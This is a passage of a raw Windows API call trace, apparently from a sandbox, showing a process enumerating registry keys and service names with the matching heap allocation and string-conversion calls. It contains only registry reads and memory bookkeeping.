(HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.353] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0217.353] RegCloseKey (hKey=0x154) returned 0x0 [0217.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bb0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.353] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0217.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bb0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0217.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.354] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.355] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.355] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0217.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.356] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0217.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.357] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.357] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.357] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0217.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.357] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0217.358] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 